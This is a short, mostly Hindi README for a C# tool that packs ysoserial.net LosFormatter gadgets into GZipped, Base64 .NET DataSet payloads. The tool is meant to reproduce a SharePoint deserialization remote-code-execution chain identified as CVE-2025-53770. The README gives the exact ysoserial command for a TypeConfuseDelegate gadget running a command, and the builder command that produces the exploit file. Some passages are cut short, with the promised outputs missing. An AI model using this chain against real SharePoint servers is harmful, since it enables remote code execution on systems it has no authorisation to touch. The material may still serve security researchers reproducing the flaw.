
एक C# टूल जो LosFormatter का उपयोग करके GZipped, Base64-encoded .NET DataSet पेलोड तैयार करता है, ताकि SharePoint deserialization RCE श्रृंखला (CVE-2025-53770) को पुनरुत्पन्न किया जा सके।
यह एक सरल C# टूल है जो LosFormatter-एन्कोडेड आंतरिक पेलोड का उपयोग करके GZipped, Base64-एन्कोडेड .NET DataSet पेलोड बनाता है। इसे सार्वजनिक शोध में वर्णित SharePoint डिसीरियलाइज़ेशन RCE श्रृंखला को दोहराने में मदद करने के लिए डिज़ाइन किया गया है।
आप इसे एक Base64-एन्कोडेड पेलोड देते हैं (जैसे ysoserial.net से), और यह:
.b64 फ़ाइल में लिखता हैपहले, ysoserial.net का उपयोग करके अपना पेलोड जनरेट करें:
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > nested_gadget.b64
फिर इस टूल को चलाएँ:
OurSharePointBuilder.exe --in=nested_gadget.b64 --out=exploit --a=<random> --b=<random> --c=<random>
यह जनरेट करेगा:
इसके अलावा, यदि आप --a, --b, या --c निर्दिष्ट नहीं करते हैं, तो टूल यादृच्छिक लोअरकेस नाम जनरेट करता है।
नोट्स
This tool does not validate or inspect the payload you give it.
If you're testing locally and deserialize manually, it may execute (e.g., pop calc).